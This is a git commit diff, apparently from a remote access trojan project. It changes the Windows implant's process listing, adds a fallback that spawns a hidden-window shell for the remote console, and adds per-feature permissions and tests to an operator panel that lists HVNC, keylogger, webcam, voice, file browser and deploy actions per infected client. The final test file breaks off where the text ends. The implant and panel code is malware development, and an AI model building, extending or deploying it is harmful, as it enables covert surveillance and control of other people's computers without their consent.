RBAC changes + fix rev console and process view in shellcode
This commit is contained in:
@@ -80,136 +80,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
handle, _, _ := procOpenProcess.Call(
|
info := queryProcess(pid, selfPID, numCPU)
|
||||||
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
|
if info == nil {
|
||||||
0,
|
|
||||||
uintptr(pid),
|
|
||||||
)
|
|
||||||
|
|
||||||
if handle == 0 {
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
defer windows.CloseHandle(windows.Handle(handle))
|
processes = append(processes, *info)
|
||||||
|
|
||||||
var filename [windows.MAX_PATH]uint16
|
|
||||||
ret, _, _ := procGetProcessImageFileNameW.Call(
|
|
||||||
handle,
|
|
||||||
uintptr(unsafe.Pointer(&filename[0])),
|
|
||||||
uintptr(len(filename)),
|
|
||||||
)
|
|
||||||
|
|
||||||
name := "Unknown"
|
|
||||||
if ret != 0 {
|
|
||||||
name = syscall.UTF16ToString(filename[:])
|
|
||||||
|
|
||||||
for i := len(name) - 1; i >= 0; i-- {
|
|
||||||
if name[i] == '\\' || name[i] == '/' {
|
|
||||||
name = name[i+1:]
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
var memCounters PROCESS_MEMORY_COUNTERS
|
|
||||||
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
|
||||||
memory := uint64(0)
|
|
||||||
|
|
||||||
ret, _, _ = procGetProcessMemoryInfo.Call(
|
|
||||||
handle,
|
|
||||||
uintptr(unsafe.Pointer(&memCounters)),
|
|
||||||
uintptr(memCounters.CB),
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret != 0 {
|
|
||||||
memory = uint64(memCounters.WorkingSetSize)
|
|
||||||
}
|
|
||||||
|
|
||||||
cpu := 0.0
|
|
||||||
var creation, exit, kernel, user windows.Filetime
|
|
||||||
ret, _, _ = procGetProcessTimes.Call(
|
|
||||||
handle,
|
|
||||||
uintptr(unsafe.Pointer(&creation)),
|
|
||||||
uintptr(unsafe.Pointer(&exit)),
|
|
||||||
uintptr(unsafe.Pointer(&kernel)),
|
|
||||||
uintptr(unsafe.Pointer(&user)),
|
|
||||||
)
|
|
||||||
if ret != 0 {
|
|
||||||
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
|
||||||
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
|
||||||
now := time.Now()
|
|
||||||
cpuSamplesMu.Lock()
|
|
||||||
if prev, ok := cpuSamples[pid]; ok {
|
|
||||||
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
|
||||||
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
|
||||||
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
|
||||||
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
|
||||||
if cpu < 0 {
|
|
||||||
cpu = 0
|
|
||||||
} else if cpu > 100 {
|
|
||||||
cpu = 100
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
|
||||||
cpuSamplesMu.Unlock()
|
|
||||||
}
|
|
||||||
|
|
||||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
|
||||||
ppid := int32(0)
|
|
||||||
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
|
|
||||||
if err == nil {
|
|
||||||
ppid = int32(pbi.InheritedFromUniqueProcessId)
|
|
||||||
}
|
|
||||||
|
|
||||||
username := "System"
|
|
||||||
var token windows.Token
|
|
||||||
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
|
|
||||||
defer token.Close()
|
|
||||||
tokenUser, err := token.GetTokenUser()
|
|
||||||
if err == nil {
|
|
||||||
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
|
||||||
if err == nil {
|
|
||||||
if domain != "" {
|
|
||||||
username = domain + "\\" + account
|
|
||||||
} else {
|
|
||||||
username = account
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
procType := "other"
|
|
||||||
usernameLower := strings.ToLower(username)
|
|
||||||
nameLower := strings.ToLower(name)
|
|
||||||
|
|
||||||
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
|
|
||||||
procType = "system"
|
|
||||||
} else if strings.Contains(usernameLower, "system") ||
|
|
||||||
strings.Contains(usernameLower, "local service") ||
|
|
||||||
strings.Contains(usernameLower, "network service") ||
|
|
||||||
usernameLower == "system" {
|
|
||||||
procType = "service"
|
|
||||||
} else {
|
|
||||||
|
|
||||||
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
|
|
||||||
if err == nil {
|
|
||||||
tokenUser, err := token.GetTokenUser()
|
|
||||||
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
|
|
||||||
procType = "own"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
processes = append(processes, wire.ProcessInfo{
|
|
||||||
PID: pid,
|
|
||||||
PPID: ppid,
|
|
||||||
Name: name,
|
|
||||||
CPU: cpu,
|
|
||||||
Memory: memory,
|
|
||||||
Username: username,
|
|
||||||
Type: procType,
|
|
||||||
Self: pid == selfPID,
|
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
cpuSamplesMu.Lock()
|
cpuSamplesMu.Lock()
|
||||||
@@ -227,6 +102,136 @@ func listProcesses() ([]wire.ProcessInfo, error) {
|
|||||||
return processes, nil
|
return processes, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo {
|
||||||
|
handle, _, _ := procOpenProcess.Call(
|
||||||
|
windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ,
|
||||||
|
0,
|
||||||
|
uintptr(pid),
|
||||||
|
)
|
||||||
|
if handle == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
defer windows.CloseHandle(windows.Handle(handle))
|
||||||
|
|
||||||
|
var filename [windows.MAX_PATH]uint16
|
||||||
|
ret, _, _ := procGetProcessImageFileNameW.Call(
|
||||||
|
handle,
|
||||||
|
uintptr(unsafe.Pointer(&filename[0])),
|
||||||
|
uintptr(len(filename)),
|
||||||
|
)
|
||||||
|
|
||||||
|
name := "Unknown"
|
||||||
|
if ret != 0 {
|
||||||
|
name = syscall.UTF16ToString(filename[:])
|
||||||
|
for i := len(name) - 1; i >= 0; i-- {
|
||||||
|
if name[i] == '\\' || name[i] == '/' {
|
||||||
|
name = name[i+1:]
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var memCounters PROCESS_MEMORY_COUNTERS
|
||||||
|
memCounters.CB = uint32(unsafe.Sizeof(memCounters))
|
||||||
|
memory := uint64(0)
|
||||||
|
|
||||||
|
ret, _, _ = procGetProcessMemoryInfo.Call(
|
||||||
|
handle,
|
||||||
|
uintptr(unsafe.Pointer(&memCounters)),
|
||||||
|
uintptr(memCounters.CB),
|
||||||
|
)
|
||||||
|
if ret != 0 {
|
||||||
|
memory = uint64(memCounters.WorkingSetSize)
|
||||||
|
}
|
||||||
|
|
||||||
|
cpu := 0.0
|
||||||
|
var creation, exit, kernel, user windows.Filetime
|
||||||
|
ret, _, _ = procGetProcessTimes.Call(
|
||||||
|
handle,
|
||||||
|
uintptr(unsafe.Pointer(&creation)),
|
||||||
|
uintptr(unsafe.Pointer(&exit)),
|
||||||
|
uintptr(unsafe.Pointer(&kernel)),
|
||||||
|
uintptr(unsafe.Pointer(&user)),
|
||||||
|
)
|
||||||
|
if ret != 0 {
|
||||||
|
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
|
||||||
|
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
|
||||||
|
now := time.Now()
|
||||||
|
cpuSamplesMu.Lock()
|
||||||
|
if prev, ok := cpuSamples[pid]; ok {
|
||||||
|
wallDelta := now.Sub(prev.sampledAt).Seconds()
|
||||||
|
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
|
||||||
|
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
|
||||||
|
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
|
||||||
|
if cpu < 0 {
|
||||||
|
cpu = 0
|
||||||
|
} else if cpu > 100 {
|
||||||
|
cpu = 100
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
|
||||||
|
cpuSamplesMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||||
|
ppid := int32(0)
|
||||||
|
if err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err == nil {
|
||||||
|
ppid = int32(pbi.InheritedFromUniqueProcessId)
|
||||||
|
}
|
||||||
|
|
||||||
|
username := "System"
|
||||||
|
var token windows.Token
|
||||||
|
tokenOpen := false
|
||||||
|
if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil {
|
||||||
|
tokenOpen = true
|
||||||
|
defer token.Close()
|
||||||
|
tokenUser, err := token.GetTokenUser()
|
||||||
|
if err == nil {
|
||||||
|
account, domain, _, err := tokenUser.User.Sid.LookupAccount("")
|
||||||
|
if err == nil {
|
||||||
|
if domain != "" {
|
||||||
|
username = domain + "\\" + account
|
||||||
|
} else {
|
||||||
|
username = account
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
procType := "other"
|
||||||
|
usernameLower := strings.ToLower(username)
|
||||||
|
nameLower := strings.ToLower(name)
|
||||||
|
|
||||||
|
if pid <= 4 || nameLower == "system" || nameLower == "registry" {
|
||||||
|
procType = "system"
|
||||||
|
} else if strings.Contains(usernameLower, "system") ||
|
||||||
|
strings.Contains(usernameLower, "local service") ||
|
||||||
|
strings.Contains(usernameLower, "network service") ||
|
||||||
|
usernameLower == "system" {
|
||||||
|
procType = "service"
|
||||||
|
} else if tokenOpen {
|
||||||
|
currentUser, err := windows.GetCurrentProcessToken().GetTokenUser()
|
||||||
|
if err == nil {
|
||||||
|
tokenUser, err := token.GetTokenUser()
|
||||||
|
if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) {
|
||||||
|
procType = "own"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return &wire.ProcessInfo{
|
||||||
|
PID: pid,
|
||||||
|
PPID: ppid,
|
||||||
|
Name: name,
|
||||||
|
CPU: cpu,
|
||||||
|
Memory: memory,
|
||||||
|
Username: username,
|
||||||
|
Type: procType,
|
||||||
|
Self: pid == selfPID,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func killProcess(pid int32) error {
|
func killProcess(pid int32) error {
|
||||||
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
|
handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -4,9 +4,16 @@ package runtime
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
"strings"
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"syscall"
|
||||||
|
|
||||||
"github.com/UserExistsError/conpty"
|
"github.com/UserExistsError/conpty"
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
)
|
)
|
||||||
|
|
||||||
type winPty struct {
|
type winPty struct {
|
||||||
@@ -32,18 +39,98 @@ func (w *winPty) Wait() (int, error) {
|
|||||||
return res.code, res.err
|
return res.code, res.err
|
||||||
}
|
}
|
||||||
|
|
||||||
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
|
type rawShell struct {
|
||||||
cmdline := strings.Join(shell, " ")
|
cmd *exec.Cmd
|
||||||
|
stdin io.WriteCloser
|
||||||
|
reader io.ReadCloser
|
||||||
|
writer *os.File
|
||||||
|
once sync.Once
|
||||||
|
waitCh chan waitResult
|
||||||
|
}
|
||||||
|
|
||||||
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
|
func (r *rawShell) Read(p []byte) (int, error) { return r.reader.Read(p) }
|
||||||
|
func (r *rawShell) Write(p []byte) (int, error) { return r.stdin.Write(p) }
|
||||||
|
|
||||||
|
func (r *rawShell) Close() error {
|
||||||
|
r.once.Do(func() {
|
||||||
|
r.stdin.Close()
|
||||||
|
r.cmd.Process.Kill()
|
||||||
|
r.writer.Close()
|
||||||
|
r.reader.Close()
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *rawShell) Resize(cols, rows uint16) error { return nil }
|
||||||
|
|
||||||
|
func (r *rawShell) Wait() (int, error) {
|
||||||
|
res := <-r.waitCh
|
||||||
|
return res.code, res.err
|
||||||
|
}
|
||||||
|
|
||||||
|
func startRawShell(shell []string) (ptyHandle, error) {
|
||||||
|
cmd := exec.Command(shell[0], shell[1:]...)
|
||||||
|
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||||
|
HideWindow: true,
|
||||||
|
CreationFlags: windows.CREATE_NO_WINDOW,
|
||||||
|
}
|
||||||
|
|
||||||
|
stdin, err := cmd.StdinPipe()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
|
pr, pw, err := os.Pipe()
|
||||||
|
if err != nil {
|
||||||
|
stdin.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
cmd.Stdout = pw
|
||||||
|
cmd.Stderr = pw
|
||||||
|
|
||||||
|
if err := cmd.Start(); err != nil {
|
||||||
|
stdin.Close()
|
||||||
|
pr.Close()
|
||||||
|
pw.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
rs := &rawShell{
|
||||||
|
cmd: cmd,
|
||||||
|
stdin: stdin,
|
||||||
|
reader: pr,
|
||||||
|
writer: pw,
|
||||||
|
waitCh: make(chan waitResult, 1),
|
||||||
|
}
|
||||||
go func() {
|
go func() {
|
||||||
code, werr := cp.Wait(context.Background())
|
werr := cmd.Wait()
|
||||||
w.waitCh <- waitResult{code: int(code), err: werr}
|
pw.Close()
|
||||||
|
code := 0
|
||||||
|
if werr != nil {
|
||||||
|
if exit, ok := werr.(*exec.ExitError); ok {
|
||||||
|
code = exit.ExitCode()
|
||||||
|
} else {
|
||||||
|
code = 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
rs.waitCh <- waitResult{code: code, err: werr}
|
||||||
}()
|
}()
|
||||||
return w, nil
|
return rs, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) {
|
||||||
|
cmdline := strings.Join(shell, " ")
|
||||||
|
|
||||||
|
cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows)))
|
||||||
|
if err == nil {
|
||||||
|
w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)}
|
||||||
|
go func() {
|
||||||
|
code, werr := cp.Wait(context.Background())
|
||||||
|
w.waitCh <- waitResult{code: int(code), err: werr}
|
||||||
|
}()
|
||||||
|
return w, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("console: conpty failed (%v), falling back to raw shell", err)
|
||||||
|
return startRawShell(shell)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,19 +1,40 @@
|
|||||||
import { NAV_GROUPS } from "./nav/template.js";
|
import { NAV_GROUPS } from "./nav/template.js";
|
||||||
import { CAPTURE_FLAG } from "./keyboard-capture.js";
|
import { CAPTURE_FLAG } from "./keyboard-capture.js";
|
||||||
|
|
||||||
const PER_CLIENT_ACTIONS = [
|
const ALL_PER_CLIENT_ACTIONS = [
|
||||||
{ key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
{ key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` },
|
||||||
{ key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
{ key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` },
|
||||||
{ key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
{ key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` },
|
||||||
{ key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
{ key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` },
|
||||||
{ key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
{ key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` },
|
||||||
{ key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
|
{ key: "keylogger", feature: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` },
|
||||||
{ key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
|
{ key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` },
|
||||||
{ key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
|
{ key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` },
|
||||||
{ key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
|
{ key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` },
|
||||||
{ key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
|
{ key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` },
|
||||||
];
|
];
|
||||||
|
|
||||||
|
let featurePermsCache = null;
|
||||||
|
|
||||||
|
async function loadFeaturePerms() {
|
||||||
|
if (featurePermsCache) return featurePermsCache;
|
||||||
|
try {
|
||||||
|
const res = await fetch("/api/auth/me", { credentials: "include" });
|
||||||
|
if (!res.ok) return null;
|
||||||
|
const data = await res.json();
|
||||||
|
featurePermsCache = data?.featurePermissions || null;
|
||||||
|
return featurePermsCache;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function PER_CLIENT_ACTIONS() {
|
||||||
|
const perms = featurePermsCache;
|
||||||
|
if (!perms) return ALL_PER_CLIENT_ACTIONS;
|
||||||
|
return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false);
|
||||||
|
}
|
||||||
|
|
||||||
const RECENT_KEY = "cmdp_recent_v1";
|
const RECENT_KEY = "cmdp_recent_v1";
|
||||||
const RECENT_MAX = 8;
|
const RECENT_MAX = 8;
|
||||||
|
|
||||||
@@ -121,7 +142,7 @@ function buildResults(query, pages, clients) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
for (const a of PER_CLIENT_ACTIONS) {
|
for (const a of PER_CLIENT_ACTIONS()) {
|
||||||
const sc = score(query, a.label);
|
const sc = score(query, a.label);
|
||||||
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
|
if (sc > 0) results.push({ kind: "action", action: a, _score: sc });
|
||||||
}
|
}
|
||||||
@@ -309,7 +330,7 @@ function activate(idx, newTab) {
|
|||||||
if (r.kind === "client") {
|
if (r.kind === "client") {
|
||||||
state.mode = "actions-for-client";
|
state.mode = "actions-for-client";
|
||||||
state.pendingClient = r.client;
|
state.pendingClient = r.client;
|
||||||
state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 }));
|
||||||
state.active = 0;
|
state.active = 0;
|
||||||
const input = document.getElementById("cmdp-input");
|
const input = document.getElementById("cmdp-input");
|
||||||
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
|
if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); }
|
||||||
@@ -334,6 +355,7 @@ async function open() {
|
|||||||
state.query = "";
|
state.query = "";
|
||||||
state.mode = "main";
|
state.mode = "main";
|
||||||
state.pendingAction = null;
|
state.pendingAction = null;
|
||||||
|
await loadFeaturePerms();
|
||||||
const root = mountPalette();
|
const root = mountPalette();
|
||||||
if (!root) return;
|
if (!root) return;
|
||||||
const input = document.getElementById("cmdp-input");
|
const input = document.getElementById("cmdp-input");
|
||||||
@@ -347,7 +369,7 @@ async function open() {
|
|||||||
if (state.mode === "actions-for-client" && state.pendingClient) {
|
if (state.mode === "actions-for-client" && state.pendingClient) {
|
||||||
const q = state.query.toLowerCase();
|
const q = state.query.toLowerCase();
|
||||||
const c = state.pendingClient;
|
const c = state.pendingClient;
|
||||||
state.results = PER_CLIENT_ACTIONS
|
state.results = PER_CLIENT_ACTIONS()
|
||||||
.map((a) => ({ a, sc: score(q, a.label) }))
|
.map((a) => ({ a, sc: score(q, a.label) }))
|
||||||
.filter((x) => x.sc > 0 || !q)
|
.filter((x) => x.sc > 0 || !q)
|
||||||
.sort((a, b) => b.sc - a.sc)
|
.sort((a, b) => b.sc - a.sc)
|
||||||
|
|||||||
@@ -274,6 +274,37 @@ function applyMenuSupportRules(clientId) {
|
|||||||
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
|
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
|
||||||
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
|
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
applyFeaturePermissionRules();
|
||||||
|
}
|
||||||
|
|
||||||
|
const MENU_OPEN_TO_FEATURE = {
|
||||||
|
console: "console",
|
||||||
|
remotedesktop: "remote_desktop",
|
||||||
|
Backstage: "hvnc",
|
||||||
|
webcam: "webcam",
|
||||||
|
files: "file_browser",
|
||||||
|
processes: "processes",
|
||||||
|
keylogger: "keylogger",
|
||||||
|
voice: "voice",
|
||||||
|
};
|
||||||
|
|
||||||
|
function applyFeaturePermissionRules() {
|
||||||
|
const perms = currentUser?.featurePermissions;
|
||||||
|
if (!perms) return;
|
||||||
|
|
||||||
|
for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) {
|
||||||
|
const btn = menu.querySelector(`[data-open="${openKey}"]`);
|
||||||
|
if (!btn) continue;
|
||||||
|
if (perms[feature] === false) {
|
||||||
|
btn.disabled = true;
|
||||||
|
btn.setAttribute("aria-disabled", "true");
|
||||||
|
btn.classList.add("opacity-50", "cursor-not-allowed");
|
||||||
|
btn.classList.remove("hover:bg-slate-700");
|
||||||
|
btn.classList.add("hover:bg-slate-800/50");
|
||||||
|
btn.title = "Feature access disabled by administrator";
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
async function loadCurrentUser() {
|
async function loadCurrentUser() {
|
||||||
|
|||||||
@@ -0,0 +1,323 @@
|
|||||||
|
import { describe, expect, test } from "bun:test";
|
||||||
|
import { generateToken } from "../../auth";
|
||||||
|
import {
|
||||||
|
ALL_FEATURES,
|
||||||
|
createUser,
|
||||||
|
deleteUser,
|
||||||
|
getUserById,
|
||||||
|
setUserClientAccessScope,
|
||||||
|
setUserFeaturePermission,
|
||||||
|
} from "../../users";
|
||||||
|
import { handleAuthRoutes } from "./auth-routes";
|
||||||
|
|
||||||
|
const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026";
|
||||||
|
|
||||||
|
const mockServer = {
|
||||||
|
requestIP: () => ({ address: "127.0.0.1" }),
|
||||||
|
};
|
||||||
|
|
||||||
|
async function createTokenFor(role: "admin" | "operator" | "viewer") {
|
||||||
|
const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`;
|
||||||
|
const created = await createUser(username, PASSWORD, role, "test");
|
||||||
|
expect(created.success).toBe(true);
|
||||||
|
expect(typeof created.userId).toBe("number");
|
||||||
|
const user = getUserById(created.userId!);
|
||||||
|
expect(user).not.toBeNull();
|
||||||
|
const token = await generateToken(user!);
|
||||||
|
return { userId: created.userId!, token, username, role };
|
||||||
|
}
|
||||||
|
|
||||||
|
describe("/api/auth/me featurePermissions", () => {
|
||||||
|
test("admin gets every feature allowed in /api/auth/me", async () => {
|
||||||
|
const auth = await createTokenFor("admin");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/me");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
expect(res).not.toBeNull();
|
||||||
|
expect(res!.status).toBe(200);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.username).toBe(auth.username);
|
||||||
|
expect(body.role).toBe("admin");
|
||||||
|
expect(body.featurePermissions).toBeDefined();
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(body.featurePermissions[f]).toBe(true);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("operator gets every feature allowed by default in /api/auth/me", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/me");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.role).toBe("operator");
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(body.featurePermissions[f]).toBe(true);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("operator-denied features are reflected in /api/auth/me", async () => {
|
||||||
|
const auth = await createTokenFor("operator");
|
||||||
|
try {
|
||||||
|
setUserFeaturePermission(auth.userId, "webcam", false);
|
||||||
|
setUserFeaturePermission(auth.userId, "file_browser", false);
|
||||||
|
|
||||||
|
const url = new URL("https://localhost/api/auth/me");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.featurePermissions.webcam).toBe(false);
|
||||||
|
expect(body.featurePermissions.file_browser).toBe(false);
|
||||||
|
expect(body.featurePermissions.console).toBe(true);
|
||||||
|
expect(body.featurePermissions.hvnc).toBe(true);
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("viewer gets every feature denied in /api/auth/me", async () => {
|
||||||
|
const auth = await createTokenFor("viewer");
|
||||||
|
try {
|
||||||
|
const url = new URL("https://localhost/api/auth/me");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, {
|
||||||
|
method: "GET",
|
||||||
|
headers: { Authorization: `Bearer ${auth.token}` },
|
||||||
|
}),
|
||||||
|
url,
|
||||||
|
mockServer,
|
||||||
|
);
|
||||||
|
const body = (await res!.json()) as any;
|
||||||
|
expect(body.role).toBe("viewer");
|
||||||
|
for (const f of ALL_FEATURES) {
|
||||||
|
expect(body.featurePermissions[f]).toBe(false);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
deleteUser(auth.userId);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
test("/api/auth/me requires authentication", async () => {
|
||||||
|
const url = new URL("https://localhost/api/auth/me");
|
||||||
|
const res = await handleAuthRoutes(
|
||||||
|
new Request(url, { method: "GET" }),
|
||||||
|
url,
|
||||||
|
